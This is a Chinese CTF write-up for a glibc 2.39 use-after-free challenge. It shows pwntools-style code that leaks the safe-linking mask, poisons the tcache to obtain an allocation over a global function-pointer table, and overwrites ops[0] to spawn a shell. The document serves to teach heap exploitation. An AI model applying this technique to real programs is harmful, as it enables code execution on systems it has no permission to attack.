题目背景
一道面向 glibc 2.39 真实环境的 UAF 题:删除便签后指针未置空,留下悬垂指针,既可读(UAF read)也可写(UAF write)。目标是 tcache 投毒劫持全局函数指针表 ops[]。
保护:No PIE、NX、Partial RELRO。
六步利用链
① delete(0) # 制造悬垂指针
② show(0) 读 next 字段 # 泄露 mask = chunk >> 12
③ delete(1); delete(2) # 链上挂 3 个空闲 chunk
④ edit(2) 写入 OPS ^ mask # UAF 写投毒
⑤ add(); add() # 第二次 malloc 返回 &ops[]
⑥ add() 写入 win 地址并触发 # ops[0] 被劫持 → system("sh")
关键代码
泄露掩码:
delete(0)
mask = u64(show(0, 0x20)[:8]) # next = (chunk>>12) ^ 0
投毒(注意目标必须 16 字节对齐,ops 用 __attribute__((aligned(16))) 保证):
delete(1)
delete(2)
edit(2, p64(OPS ^ mask).ljust(0x20, b"\x00"), 0x20)
add(0x20, b"X" * 0x20) # 取走链头
add(0x20, p64(WIN).ljust(0x20, b"\x00")) # 这块落在 &ops[]
最后触发 ops[0](sh),拿到 shell。
与 hacknote 的对比
| hacknote(入门) | 本题(进阶) | |
|---|---|---|
| 劫持对象 | 堆上结构体的函数指针 | 全局函数指针表 |
| 是否需要堆地址 | 否 | 是(safe-linking 编码) |
| 核心技术 | UAF 直接复用 | UAF 读写 + tcache 投毒 |
给学习者的建议
先用 gdb 的 tcache 命令观察 free 前后链表变化,再手动复现"读 mask"这一步。投毒成功那一刻全局地址出现在 tcache entries 里,你会对整个机制有肌肉记忆级的理解。